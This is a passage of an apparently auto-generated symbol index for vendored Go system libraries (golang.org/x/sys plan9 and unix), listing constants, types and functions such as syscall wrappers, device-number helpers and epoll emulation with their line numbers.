  constant DMEXEC (line 52) | DMEXEC   = 0x1
  constant STATMAX (line 56) | STATMAX    = 65535
  constant ERRMAX (line 57) | ERRMAX     = 128
  constant STATFIXLEN (line 58) | STATFIXLEN = 49
  constant MREPL (line 63) | MREPL   = 0x0000
  constant MBEFORE (line 64) | MBEFORE = 0x0001
  constant MAFTER (line 65) | MAFTER  = 0x0002
  constant MORDER (line 66) | MORDER  = 0x0003
  constant MCREATE (line 67) | MCREATE = 0x0004
  constant MCACHE (line 68) | MCACHE  = 0x0010
  constant MMASK (line 69) | MMASK   = 0x0017

FILE: vendor/golang.org/x/sys/plan9/dir_plan9.go
  type Qid (line 18) | type Qid struct
  type Dir (line 25) | type Dir struct
    method Null (line 58) | func (d *Dir) Null() { *d = nullDir }
    method Marshal (line 63) | func (d *Dir) Marshal(b []byte) (n int, err error) {
  function UnmarshalDir (line 98) | func UnmarshalDir(b []byte) (*Dir, error) {
  function pbit8 (line 139) | func pbit8(b []byte, v uint8) []byte {
  function pbit16 (line 145) | func pbit16(b []byte, v uint16) []byte {
  function pbit32 (line 152) | func pbit32(b []byte, v uint32) []byte {
  function pbit64 (line 161) | func pbit64(b []byte, v uint64) []byte {
  function pstring (line 175) | func pstring(b []byte, s string) []byte {
  function gbit8 (line 182) | func gbit8(b []byte) (uint8, []byte) {
  function gbit16 (line 187) | func gbit16(b []byte) (uint16, []byte) {
  function gbit32 (line 192) | func gbit32(b []byte) (uint32, []byte) {
  function gbit64 (line 197) | func gbit64(b []byte) (uint64, []byte) {
  function gstring (line 206) | func gstring(b []byte) (string, []byte, bool) {

FILE: vendor/golang.org/x/sys/plan9/env_plan9.go
  function Getenv (line 13) | func Getenv(key string) (value string, found bool) {
  function Setenv (line 17) | func Setenv(key, value string) error {
  function Clearenv (line 21) | func Clearenv() {
  function Environ (line 25) | func Environ() []string {
  function Unsetenv (line 29) | func Unsetenv(key string) error {

FILE: vendor/golang.org/x/sys/plan9/errors_plan9.go
  constant O_CREAT (line 12) | O_CREAT    = 0x02000
  constant O_APPEND (line 13) | O_APPEND   = 0x00400
  constant O_NOCTTY (line 14) | O_NOCTTY   = 0x00000
  constant O_NONBLOCK (line 15) | O_NONBLOCK = 0x00000
  constant O_SYNC (line 16) | O_SYNC     = 0x00000
  constant O_ASYNC (line 17) | O_ASYNC    = 0x00000
  constant S_IFMT (line 19) | S_IFMT   = 0x1f000
  constant S_IFIFO (line 20) | S_IFIFO  = 0x1000
  constant S_IFCHR (line 21) | S_IFCHR  = 0x2000
  constant S_IFDIR (line 22) | S_IFDIR  = 0x4000
  constant S_IFBLK (line 23) | S_IFBLK  = 0x6000
  constant S_IFREG (line 24) | S_IFREG  = 0x8000
  constant S_IFLNK (line 25) | S_IFLNK  = 0xa000
  constant S_IFSOCK (line 26) | S_IFSOCK = 0xc000

FILE: vendor/golang.org/x/sys/plan9/pwd_go15_plan9.go
  function fixwd (line 12) | func fixwd() {
  function Getwd (line 16) | func Getwd() (wd string, err error) {
  function Chdir (line 20) | func Chdir(path string) error {

FILE: vendor/golang.org/x/sys/plan9/pwd_plan9.go
  function fixwd (line 10) | func fixwd() {
  function Getwd (line 13) | func Getwd() (wd string, err error) {
  function Chdir (line 22) | func Chdir(path string) error {

FILE: vendor/golang.org/x/sys/plan9/race.go
  constant raceenabled (line 15) | raceenabled = true
  function raceAcquire (line 17) | func raceAcquire(addr unsafe.Pointer) {
  function raceReleaseMerge (line 21) | func raceReleaseMerge(addr unsafe.Pointer) {
  function raceReadRange (line 25) | func raceReadRange(addr unsafe.Pointer, len int) {
  function raceWriteRange (line 29) | func raceWriteRange(addr unsafe.Pointer, len int) {

FILE: vendor/golang.org/x/sys/plan9/race0.go
  constant raceenabled (line 14) | raceenabled = false
  function raceAcquire (line 16) | func raceAcquire(addr unsafe.Pointer) {
  function raceReleaseMerge (line 19) | func raceReleaseMerge(addr unsafe.Pointer) {
  function raceReadRange (line 22) | func raceReadRange(addr unsafe.Pointer, len int) {
  function raceWriteRange (line 25) | func raceWriteRange(addr unsafe.Pointer, len int) {

FILE: vendor/golang.org/x/sys/plan9/str.go
  function itoa (line 10) | func itoa(val int) string { // do it here rather than with fmt to avoid ...

FILE: vendor/golang.org/x/sys/plan9/syscall.go
  function ByteSliceFromString (line 39) | func ByteSliceFromString(s string) ([]byte, error) {
  function BytePtrFromString (line 51) | func BytePtrFromString(s string) (*byte, error) {
  function ByteSliceToString (line 61) | func ByteSliceToString(s []byte) string {
  function BytePtrToString (line 71) | func BytePtrToString(p *byte) string {
  method Unix (line 98) | func (ts *Timespec) Unix() (sec int64, nsec int64) {
  method Unix (line 102) | func (tv *Timeval) Unix() (sec int64, nsec int64) {
  method Nano (line 106) | func (ts *Timespec) Nano() int64 {
  method Nano (line 110) | func (tv *Timeval) Nano() int64 {
  function use (line 118) | func use(p unsafe.Pointer)

FILE: vendor/golang.org/x/sys/plan9/syscall_plan9.go
  type Note (line 22) | type Note
    method Signal (line 24) | func (n Note) Signal() {}
    method String (line 26) | func (n Note) String() string {
  function Syscall (line 40) | func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Erro...
  function Syscall6 (line 41) | func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err...
  function RawSyscall (line 42) | func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2, err uintptr)
  function RawSyscall6 (line 43) | func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2, err uint...
  function atoi (line 45) | func atoi(b []byte) (n uint) {
  function cstring (line 53) | func cstring(s []byte) string {
  function errstr (line 61) | func errstr() string {
  function exit (line 71) | func exit(code int)
  function Exit (line 73) | func Exit(code int) { exit(code) }
  function readnum (line 75) | func readnum(path string) (uint, error) {
  function Getpid (line 97) | func Getpid() (pid int) {
  function Getppid (line 102) | func Getppid() (ppid int) {
  function Read (line 107) | func Read(fd int, p []byte) (n int, err error) {
  function Write (line 111) | func Write(fd int, p []byte) (n int, err error) {
  function Fd2path (line 119) | func Fd2path(fd int) (path string, err error) {
  function Pipe (line 131) | func Pipe(p []int) (err error) {
  function seek (line 146) | func seek(placeholder uintptr, fd int, offset int64, whence int) (newoff...
  function Seek (line 148) | func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
  function Mkdir (line 157) | func Mkdir(path string, mode uint32) (err error) {
  type Waitmsg (line 167) | type Waitmsg struct
    method Exited (line 173) | func (w Waitmsg) Exited() bool   { return true }
    method Signaled (line 174) | func (w Waitmsg) Signaled() bool { return false }
    method ExitStatus (line 176) | func (w Waitmsg) ExitStatus() int {
  function Await (line 186) | func Await(w *Waitmsg) (err error) {
  function Unmount (line 223) | func Unmount(name, old string) (err error) {
  function Fchdir (line 251) | func Fchdir(fd int) (err error) {
  type Timespec (line 261) | type Timespec struct
  type Timeval (line 266) | type Timeval struct
  function NsecToTimeval (line 271) | func NsecToTimeval(nsec int64) (tv Timeval) {
  function nsec (line 278) | func nsec() int64 {
  function Gettimeofday (line 289) | func Gettimeofday(tv *Timeval) error {
  function Getpagesize (line 295) | func Getpagesize() int { return 0x1000 }
  function Getegid (line 297) | func Getegid() (egid int) { return -1 }
  function Geteuid (line 298) | func Geteuid() (euid int) { return -1 }
  function Getgid (line 299) | func Getgid() (gid int)   { return -1 }
  function Getuid (line 300) | func Getuid() (uid int)   { return -1 }
  function Getgroups (line 302) | func Getgroups() (gids []int, err error) {
  function Open (line 308) | func Open(path string, mode int) (fd int, err error) {
  function Create (line 315) | func Create(path string, mode int, perm uint32) (fd int, err error) {
  function Remove (line 322) | func Remove(path string) error {
  function Stat (line 329) | func Stat(path string, edir []byte) (n int, err error) {
  function Bind (line 336) | func Bind(name string, old string, flag int) (err error) {
  function Mount (line 343) | func Mount(fd int, afd int, old string, flag int, aname string) (err err...
  function Wstat (line 350) | func Wstat(path string, edir []byte) (err error) {

FILE: vendor/golang.org/x/sys/plan9/zsyscall_plan9_386.go
  function fd2path (line 13) | func fd2path(fd int, buf []byte) (err error) {
  function pipe (line 29) | func pipe(p *[2]int32) (err error) {
  function await (line 39) | func await(s []byte) (n int, err error) {
  function open (line 56) | func open(path string, mode int) (fd int, err error) {
  function create (line 72) | func create(path string, mode int, perm uint32) (fd int, err error) {
  function remove (line 88) | func remove(path string) (err error) {
  function stat (line 103) | func stat(path string, edir []byte) (n int, err error) {
  function bind (line 125) | func bind(name string, old string, flag int) (err error) {
  function mount (line 145) | func mount(fd int, afd int, old string, flag int, aname string) (err err...
  function wstat (line 165) | func wstat(path string, edir []byte) (err error) {
  function chdir (line 186) | func chdir(path string) (err error) {
  function Dup (line 201) | func Dup(oldfd int, newfd int) (fd int, err error) {
  function Pread (line 212) | func Pread(fd int, p []byte, offset int64) (n int, err error) {
  function Pwrite (line 229) | func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
  function Close (line 246) | func Close(fd int) (err error) {
  function Fstat (line 256) | func Fstat(fd int, edir []byte) (n int, err error) {
  function Fwstat (line 273) | func Fwstat(fd int, edir []byte) (err error) {

FILE: vendor/golang.org/x/sys/plan9/zsyscall_plan9_amd64.go
  function fd2path (line 13) | func fd2path(fd int, buf []byte) (err error) {
  function pipe (line 29) | func pipe(p *[2]int32) (err error) {
  function await (line 39) | func await(s []byte) (n int, err error) {
  function open (line 56) | func open(path string, mode int) (fd int, err error) {
  function create (line 72) | func create(path string, mode int, perm uint32) (fd int, err error) {
  function remove (line 88) | func remove(path string) (err error) {
  function stat (line 103) | func stat(path string, edir []byte) (n int, err error) {
  function bind (line 125) | func bind(name string, old string, flag int) (err error) {
  function mount (line 145) | func mount(fd int, afd int, old string, flag int, aname string) (err err...
  function wstat (line 165) | func wstat(path string, edir []byte) (err error) {
  function chdir (line 186) | func chdir(path string) (err error) {
  function Dup (line 201) | func Dup(oldfd int, newfd int) (fd int, err error) {
  function Pread (line 212) | func Pread(fd int, p []byte, offset int64) (n int, err error) {
  function Pwrite (line 229) | func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
  function Close (line 246) | func Close(fd int) (err error) {
  function Fstat (line 256) | func Fstat(fd int, edir []byte) (n int, err error) {
  function Fwstat (line 273) | func Fwstat(fd int, edir []byte) (err error) {

FILE: vendor/golang.org/x/sys/plan9/zsyscall_plan9_arm.go
  function fd2path (line 13) | func fd2path(fd int, buf []byte) (err error) {
  function pipe (line 29) | func pipe(p *[2]int32) (err error) {
  function await (line 39) | func await(s []byte) (n int, err error) {
  function open (line 56) | func open(path string, mode int) (fd int, err error) {
  function create (line 72) | func create(path string, mode int, perm uint32) (fd int, err error) {
  function remove (line 88) | func remove(path string) (err error) {
  function stat (line 103) | func stat(path string, edir []byte) (n int, err error) {
  function bind (line 125) | func bind(name string, old string, flag int) (err error) {
  function mount (line 145) | func mount(fd int, afd int, old string, flag int, aname string) (err err...
  function wstat (line 165) | func wstat(path string, edir []byte) (err error) {
  function chdir (line 186) | func chdir(path string) (err error) {
  function Dup (line 201) | func Dup(oldfd int, newfd int) (fd int, err error) {
  function Pread (line 212) | func Pread(fd int, p []byte, offset int64) (n int, err error) {
  function Pwrite (line 229) | func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
  function Close (line 246) | func Close(fd int) (err error) {
  function Fstat (line 256) | func Fstat(fd int, edir []byte) (n int, err error) {
  function Fwstat (line 273) | func Fwstat(fd int, edir []byte) (err error) {

FILE: vendor/golang.org/x/sys/plan9/zsysnum_plan9.go
  constant SYS_SYSR1 (line 7) | SYS_SYSR1       = 0
  constant SYS_BIND (line 8) | SYS_BIND        = 2
  constant SYS_CHDIR (line 9) | SYS_CHDIR       = 3
  constant SYS_CLOSE (line 10) | SYS_CLOSE       = 4
  constant SYS_DUP (line 11) | SYS_DUP         = 5
  constant SYS_ALARM (line 12) | SYS_ALARM       = 6
  constant SYS_EXEC (line 13) | SYS_EXEC        = 7
  constant SYS_EXITS (line 14) | SYS_EXITS       = 8
  constant SYS_FAUTH (line 15) | SYS_FAUTH       = 10
  constant SYS_SEGBRK (line 16) | SYS_SEGBRK      = 12
  constant SYS_OPEN (line 17) | SYS_OPEN        = 14
  constant SYS_OSEEK (line 18) | SYS_OSEEK       = 16
  constant SYS_SLEEP (line 19) | SYS_SLEEP       = 17
  constant SYS_RFORK (line 20) | SYS_RFORK       = 19
  constant SYS_PIPE (line 21) | SYS_PIPE        = 21
  constant SYS_CREATE (line 22) | SYS_CREATE      = 22
  constant SYS_FD2PATH (line 23) | SYS_FD2PATH     = 23
  constant SYS_BRK_ (line 24) | SYS_BRK_        = 24
  constant SYS_REMOVE (line 25) | SYS_REMOVE      = 25
  constant SYS_NOTIFY (line 26) | SYS_NOTIFY      = 28
  constant SYS_NOTED (line 27) | SYS_NOTED       = 29
  constant SYS_SEGATTACH (line 28) | SYS_SEGATTACH   = 30
  constant SYS_SEGDETACH (line 29) | SYS_SEGDETACH   = 31
  constant SYS_SEGFREE (line 30) | SYS_SEGFREE     = 32
  constant SYS_SEGFLUSH (line 31) | SYS_SEGFLUSH    = 33
  constant SYS_RENDEZVOUS (line 32) | SYS_RENDEZVOUS  = 34
  constant SYS_UNMOUNT (line 33) | SYS_UNMOUNT     = 35
  constant SYS_SEMACQUIRE (line 34) | SYS_SEMACQUIRE  = 37
  constant SYS_SEMRELEASE (line 35) | SYS_SEMRELEASE  = 38
  constant SYS_SEEK (line 36) | SYS_SEEK        = 39
  constant SYS_FVERSION (line 37) | SYS_FVERSION    = 40
  constant SYS_ERRSTR (line 38) | SYS_ERRSTR      = 41
  constant SYS_STAT (line 39) | SYS_STAT        = 42
  constant SYS_FSTAT (line 40) | SYS_FSTAT       = 43
  constant SYS_WSTAT (line 41) | SYS_WSTAT       = 44
  constant SYS_FWSTAT (line 42) | SYS_FWSTAT      = 45
  constant SYS_MOUNT (line 43) | SYS_MOUNT       = 46
  constant SYS_AWAIT (line 44) | SYS_AWAIT       = 47
  constant SYS_PREAD (line 45) | SYS_PREAD       = 50
  constant SYS_PWRITE (line 46) | SYS_PWRITE      = 51
  constant SYS_TSEMACQUIRE (line 47) | SYS_TSEMACQUIRE = 52
  constant SYS_NSEC (line 48) | SYS_NSEC        = 53

FILE: vendor/golang.org/x/sys/unix/affinity_linux.go
  constant cpuSetSize (line 14) | cpuSetSize = _CPU_SETSIZE / _NCPUBITS
  type CPUSet (line 17) | type CPUSet
    method Zero (line 40) | func (s *CPUSet) Zero() {
    method Set (line 55) | func (s *CPUSet) Set(cpu int) {
    method Clear (line 63) | func (s *CPUSet) Clear(cpu int) {
    method IsSet (line 71) | func (s *CPUSet) IsSet(cpu int) bool {
    method Count (line 80) | func (s *CPUSet) Count() int {
  function schedAffinity (line 19) | func schedAffinity(trap uintptr, pid int, set *CPUSet) error {
  function SchedGetaffinity (line 29) | func SchedGetaffinity(pid int, set *CPUSet) error {
  function SchedSetaffinity (line 35) | func SchedSetaffinity(pid int, set *CPUSet) error {
  function cpuBitsIndex (line 46) | func cpuBitsIndex(cpu int) int {
  function cpuBitsMask (line 50) | func cpuBitsMask(cpu int) cpuMask {

FILE: vendor/golang.org/x/sys/unix/bluetooth_linux.go
  constant BTPROTO_L2CAP (line 11) | BTPROTO_L2CAP  = 0
  constant BTPROTO_HCI (line 12) | BTPROTO_HCI    = 1
  constant BTPROTO_SCO (line 13) | BTPROTO_SCO    = 2
  constant BTPROTO_RFCOMM (line 14) | BTPROTO_RFCOMM = 3
  constant BTPROTO_BNEP (line 15) | BTPROTO_BNEP   = 4
  constant BTPROTO_CMTP (line 16) | BTPROTO_CMTP   = 5
  constant BTPROTO_HIDP (line 17) | BTPROTO_HIDP   = 6
  constant BTPROTO_AVDTP (line 18) | BTPROTO_AVDTP  = 7
  constant HCI_CHANNEL_RAW (line 22) | HCI_CHANNEL_RAW     = 0
  constant HCI_CHANNEL_USER (line 23) | HCI_CHANNEL_USER    = 1
  constant HCI_CHANNEL_MONITOR (line 24) | HCI_CHANNEL_MONITOR = 2
  constant HCI_CHANNEL_CONTROL (line 25) | HCI_CHANNEL_CONTROL = 3
  constant HCI_CHANNEL_LOGGING (line 26) | HCI_CHANNEL_LOGGING = 4
  constant SOL_BLUETOOTH (line 31) | SOL_BLUETOOTH = 0x112
  constant SOL_HCI (line 32) | SOL_HCI       = 0x0
  constant SOL_L2CAP (line 33) | SOL_L2CAP     = 0x6
  constant SOL_RFCOMM (line 34) | SOL_RFCOMM    = 0x12
  constant SOL_SCO (line 35) | SOL_SCO       = 0x11

FILE: vendor/golang.org/x/sys/unix/cap_freebsd.go
  constant capRightsGoVersion (line 19) | capRightsGoVersion = CAP_RIGHTS_VERSION_00
  constant capArSizeMin (line 20) | capArSizeMin       = CAP_RIGHTS_VERSION_00 + 2
  constant capArSizeMax (line 21) | capArSizeMax       = capRightsGoVersion + 2
  function capidxbit (line 31) | func capidxbit(right uint64) int {
  function rightToIndex (line 35) | func rightToIndex(right uint64) (int, error) {
  function caprver (line 43) | func caprver(right uint64) int {
  function capver (line 47) | func capver(rights *CapRights) int {
  function caparsize (line 51) | func caparsize(rights *CapRights) int {
  function CapRightsSet (line 56) | func CapRightsSet(rights *CapRights, setrights []uint64) error {
  function CapRightsClear (line 91) | func CapRightsClear(rights *CapRights, clearrights []uint64) error {
  function CapRightsIsSet (line 126) | func CapRightsIsSet(rights *CapRights, setrights []uint64) (bool, error) {
  function capright (line 159) | func capright(idx uint64, bit uint64) uint64 {
  function CapRightsInit (line 165) | func CapRightsInit(rights []uint64) (*CapRights, error) {
  function CapRightsLimit (line 180) | func CapRightsLimit(fd uintptr, rights *CapRights) error {
  function CapRightsGet (line 186) | func CapRightsGet(fd uintptr) (*CapRights, error) {

FILE: vendor/golang.org/x/sys/unix/constants.go
  constant R_OK (line 11) | R_OK = 0x4
  constant W_OK (line 12) | W_OK = 0x2
  constant X_OK (line 13) | X_OK = 0x1

FILE: vendor/golang.org/x/sys/unix/dev_aix_ppc.go
  function Major (line 14) | func Major(dev uint64) uint32 {
  function Minor (line 19) | func Minor(dev uint64) uint32 {
  function Mkdev (line 25) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
  function Major (line 14) | func Major(dev uint64) uint32 {
  function Minor (line 19) | func Minor(dev uint64) uint32 {
  function Mkdev (line 25) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_darwin.go
  function Major (line 11) | func Major(dev uint64) uint32 {
  function Minor (line 16) | func Minor(dev uint64) uint32 {
  function Mkdev (line 22) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_dragonfly.go
  function Major (line 17) | func Major(dev uint64) uint32 {
  function Minor (line 22) | func Minor(dev uint64) uint32 {
  function Mkdev (line 28) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_freebsd.go
  function Major (line 17) | func Major(dev uint64) uint32 {
  function Minor (line 22) | func Minor(dev uint64) uint32 {
  function Mkdev (line 28) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_linux.go
  function Major (line 21) | func Major(dev uint64) uint32 {
  function Minor (line 28) | func Minor(dev uint64) uint32 {
  function Mkdev (line 36) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_netbsd.go
  function Major (line 11) | func Major(dev uint64) uint32 {
  function Minor (line 16) | func Minor(dev uint64) uint32 {
  function Mkdev (line 24) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_openbsd.go
  function Major (line 11) | func Major(dev uint64) uint32 {
  function Minor (line 16) | func Minor(dev uint64) uint32 {
  function Mkdev (line 24) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dev_zos.go
  function Major (line 16) | func Major(dev uint64) uint32 {
  function Minor (line 21) | func Minor(dev uint64) uint32 {
  function Mkdev (line 27) | func Mkdev(major, minor uint32) uint64 {

FILE: vendor/golang.org/x/sys/unix/dirent.go
  function readInt (line 13) | func readInt(b []byte, off, size uintptr) (u uint64, ok bool) {
  function readIntBE (line 23) | func readIntBE(b []byte, size uintptr) uint64 {
  function readIntLE (line 42) | func readIntLE(b []byte, size uintptr) uint64 {
  function ParseDirent (line 65) | func ParseDirent(buf []byte, max int, names []string) (consumed int, cou...

FILE: vendor/golang.org/x/sys/unix/endian_big.go
  constant isBigEndian (line 10) | isBigEndian = true

FILE: vendor/golang.org/x/sys/unix/endian_little.go
  constant isBigEndian (line 10) | isBigEndian = false

FILE: vendor/golang.org/x/sys/unix/env_unix.go
  function Getenv (line 14) | func Getenv(key string) (value string, found bool) {
  function Setenv (line 18) | func Setenv(key, value string) error {
  function Clearenv (line 22) | func Clearenv() {
  function Environ (line 26) | func Environ() []string {
  function Unsetenv (line 30) | func Unsetenv(key string) error {

FILE: vendor/golang.org/x/sys/unix/epoll_zos.go
  type EpollEvent (line 18) | type EpollEvent struct
  constant EPOLLERR (line 25) | EPOLLERR      = 0x8
  constant EPOLLHUP (line 26) | EPOLLHUP      = 0x10
  constant EPOLLIN (line 27) | EPOLLIN       = 0x1
  constant EPOLLMSG (line 28) | EPOLLMSG      = 0x400
  constant EPOLLOUT (line 29) | EPOLLOUT      = 0x4
  constant EPOLLPRI (line 30) | EPOLLPRI      = 0x2
  constant EPOLLRDBAND (line 31) | EPOLLRDBAND   = 0x80
  constant EPOLLRDNORM (line 32) | EPOLLRDNORM   = 0x40
  constant EPOLLWRBAND (line 33) | EPOLLWRBAND   = 0x200
  constant EPOLLWRNORM (line 34) | EPOLLWRNORM   = 0x100
  constant EPOLL_CTL_ADD (line 35) | EPOLL_CTL_ADD = 0x1
  constant EPOLL_CTL_DEL (line 36) | EPOLL_CTL_DEL = 0x2
  constant EPOLL_CTL_MOD (line 37) | EPOLL_CTL_MOD = 0x3
  function epToPollEvt (line 53) | func epToPollEvt(events uint32) int16 {
  function pToEpollEvt (line 73) | func pToEpollEvt(revents int16) uint32 {
  type epollImpl (line 93) | type epollImpl struct
    method epollcreate (line 112) | func (e *epollImpl) epollcreate(size int) (epfd int, err error) {
    method epollcreate1 (line 124) | func (e *epollImpl) epollcreate1(flag int) (fd int, err error) {
    method epollctl (line 128) | func (e *epollImpl) epollctl(epfd int, op int, fd int, event *EpollEve...
    method epollwait (line 170) | func (e *epollImpl) epollwait(epfd int, events []EpollEvent, msec int)...
  type eventPoll (line 101) | type eventPoll struct
    method getFds (line 162) | func (ep *eventPoll) getFds() []int {
  function EpollCreate (line 205) | func EpollCreate(size int) (fd int, err error) {
  function EpollCreate1 (line 209) | func EpollCreate1(flag int) (fd int, err error) {
  function EpollCtl (line 213) | func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
  function EpollWait (line 219) | func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err erro...

FILE: vendor/golang.org/x/sys/unix/errors_freebsd_386.go
  constant DLT_HHDLC (line 11) | DLT_HHDLC                         = 0x79
  constant IFF_SMART (line 12) | IFF_SMART                         = 0x20
  constant IFT_1822 (line 13) | IFT_1822                          = 0x2
  constant IFT_A12MPPSWITCH (line 14) | IFT_A12MPPSWITCH                  = 0x82
  constant IFT_AAL2 (line 15) | IFT_AAL2                          = 0xbb
  constant IFT_AAL5 (line 16) | IFT_AAL5                          = 0x31
  constant IFT_ADSL (line 17) | IFT_ADSL                          = 0x5e
  constant IFT_AFLANE8023 (line 18) | IFT_AFLANE8023                    = 0x3b
  constant IFT_AFLANE8025 (line 19) | IFT_AFLANE8025                    = 0x3c
  constant IFT_ARAP (line 20) | IFT_ARAP                          = 0x58
  constant IFT_ARCNET (line 21) | IFT_ARCNET                        = 0x23
  constant IFT_ARCNETPLUS (line 22) | IFT_ARCNETPLUS                    = 0x24
  constant IFT_ASYNC (line 23) | IFT_ASYNC                         = 0x54
  constant IFT_ATM (line 24) | IFT_ATM                           = 0x25
  constant IFT_ATMDXI (line 25) | IFT_ATMDXI                        = 0x69
  constant IFT_ATMFUNI (line 26) | IFT_ATMFUNI                       = 0x6a
  constant IFT_ATMIMA (line 27) | IFT_ATMIMA                        = 0x6b
  constant IFT_ATMLOGICAL (line 28) | IFT_ATMLOGICAL                    = 0x50
  constant IFT_ATMRADIO (line 29) | IFT_ATMRADIO                      = 0xbd
  constant IFT_ATMSUBINTERFACE (line 30) | IFT_ATMSUBINTERFACE               = 0x86
  constant IFT_ATMVCIENDPT (line 31) | IFT_ATMVCIENDPT                   = 0xc2
  constant IFT_ATMVIRTUAL (line 32) | IFT_ATMVIRTUAL                    = 0x95
  constant IFT_BGPPOLICYACCOUNTING (line 33) | IFT_BGPPOLICYACCOUNTING           = 0xa2
  constant IFT_BSC (line 34) | IFT_BSC                           = 0x53
  constant IFT_CCTEMUL (line 35) | IFT_CCTEMUL                       = 0x3d
  constant IFT_CEPT (line 36) | IFT_CEPT                          = 0x13
  constant IFT_CES (line 37) | IFT_CES                           = 0x85
  constant IFT_CHANNEL (line 38) | IFT_CHANNEL                       = 0x46
  constant IFT_CNR (line 39) | IFT_CNR                           = 0x55
  constant IFT_COFFEE (line 40) | IFT_COFFEE                        = 0x84
  constant IFT_COMPOSITELINK (line 41) | IFT_COMPOSITELINK                 = 0x9b
  constant IFT_DCN (line 42) | IFT_DCN                           = 0x8d
  constant IFT_DIGITALPOWERLINE (line 43) | IFT_DIGITALPOWERLINE              = 0x8a
  constant IFT_DIGITALWRAPPEROVERHEADCHANNEL (line 44) | IFT_DIGITALWRAPPEROVERHEADCHANNEL = 0xba
  constant IFT_DLSW (line 45) | IFT_DLSW                          = 0x4a
  constant IFT_DOCSCABLEDOWNSTREAM (line 46) | IFT_DOCSCABLEDOWNSTREAM           = 0x80
  constant IFT_DOCSCABLEMACLAYER (line 47) | IFT_DOCSCABLEMACLAYER             = 0x7f
  constant IFT_DOCSCABLEUPSTREAM (line 48) | IFT_DOCSCABLEUPSTREAM             = 0x81
  constant IFT_DS0 (line 49) | IFT_DS0                           = 0x51
  constant IFT_DS0BUNDLE (line 50) | IFT_DS0BUNDLE                     = 0x52
  constant IFT_DS1FDL (line 51) | IFT_DS1FDL                        = 0xaa
  constant IFT_DS3 (line 52) | IFT_DS3                           = 0x1e
  constant IFT_DTM (line 53) | IFT_DTM                           = 0x8c
  constant IFT_DVBASILN (line 54) | IFT_DVBASILN                      = 0xac
  constant IFT_DVBASIOUT (line 55) | IFT_DVBASIOUT                     = 0xad
  constant IFT_DVBRCCDOWNSTREAM (line 56) | IFT_DVBRCCDOWNSTREAM              = 0x93
  constant IFT_DVBRCCMACLAYER (line 57) | IFT_DVBRCCMACLAYER                = 0x92
  constant IFT_DVBRCCUPSTREAM (line 58) | IFT_DVBRCCUPSTREAM                = 0x94
  constant IFT_ENC (line 59) | IFT_ENC                           = 0xf4
  constant IFT_EON (line 60) | IFT_EON                           = 0x19
  constant IFT_EPLRS (line 61) | IFT_EPLRS                         = 0x57
  constant IFT_ESCON (line 62) | IFT_ESCON                         = 0x49
  constant IFT_ETHER (line 63) | IFT_ETHER                         = 0x6
  constant IFT_FAITH (line 64) | IFT_FAITH                         = 0xf2
  constant IFT_FAST (line 65) | IFT_FAST                          = 0x7d
  constant IFT_FASTETHER (line 66) | IFT_FASTETHER                     = 0x3e
  constant IFT_FASTETHERFX (line 67) | IFT_FASTETHERFX                   = 0x45
  constant IFT_FDDI (line 68) | IFT_FDDI                          = 0xf
  constant IFT_FIBRECHANNEL (line 69) | IFT_FIBRECHANNEL                  = 0x38
  constant IFT_FRAMERELAYINTERCONNECT (line 70) | IFT_FRAMERELAYINTERCONNECT        = 0x3a
  constant IFT_FRAMERELAYMPI (line 71) | IFT_FRAMERELAYMPI                 = 0x5c
  constant IFT_FRDLCIENDPT (line 72) | IFT_FRDLCIENDPT                   = 0xc1
  constant IFT_FRELAY (line 73) | IFT_FRELAY                        = 0x20
  constant IFT_FRELAYDCE (line 74) | IFT_FRELAYDCE                     = 0x2c
  constant IFT_FRF16MFRBUNDLE (line 75) | IFT_FRF16MFRBUNDLE                = 0xa3
  constant IFT_FRFORWARD (line 76) | IFT_FRFORWARD                     = 0x9e
  constant IFT_G703AT2MB (line 77) | IFT_G703AT2MB                     = 0x43
  constant IFT_G703AT64K (line 78) | IFT_G703AT64K                     = 0x42
  constant IFT_GIF (line 79) | IFT_GIF                           = 0xf0
  constant IFT_GIGABITETHERNET (line 80) | IFT_GIGABITETHERNET               = 0x75
  constant IFT_GR303IDT (line 81) | IFT_GR303IDT                      = 0xb2
  constant IFT_GR303RDT (line 82) | IFT_GR303RDT                      = 0xb1
  constant IFT_H323GATEKEEPER (line 83) | IFT_H323GATEKEEPER                = 0xa4
  constant IFT_H323PROXY (line 84) | IFT_H323PROXY                     = 0xa5
  constant IFT_HDH1822 (line 85) | IFT_HDH1822                       = 0x3
  constant IFT_HDLC (line 86) | IFT_HDLC                          = 0x76
  constant IFT_HDSL2 (line 87) | IFT_HDSL2                         = 0xa8
  constant IFT_HIPERLAN2 (line 88) | IFT_HIPERLAN2                     = 0xb7
  constant IFT_HIPPI (line 89) | IFT_HIPPI                         = 0x2f
  constant IFT_HIPPIINTERFACE (line 90) | IFT_HIPPIINTERFACE                = 0x39
  constant IFT_HOSTPAD (line 91) | IFT_HOSTPAD                       = 0x5a
  constant IFT_HSSI (line 92) | IFT_HSSI                          = 0x2e
  constant IFT_HY (line 93) | IFT_HY                            = 0xe
  constant IFT_IBM370PARCHAN (line 94) | IFT_IBM370PARCHAN                 = 0x48
  constant IFT_IDSL (line 95) | IFT_IDSL                          = 0x9a
  constant IFT_IEEE80211 (line 96) | IFT_IEEE80211                     = 0x47
  constant IFT_IEEE80212 (line 97) | IFT_IEEE80212                     = 0x37
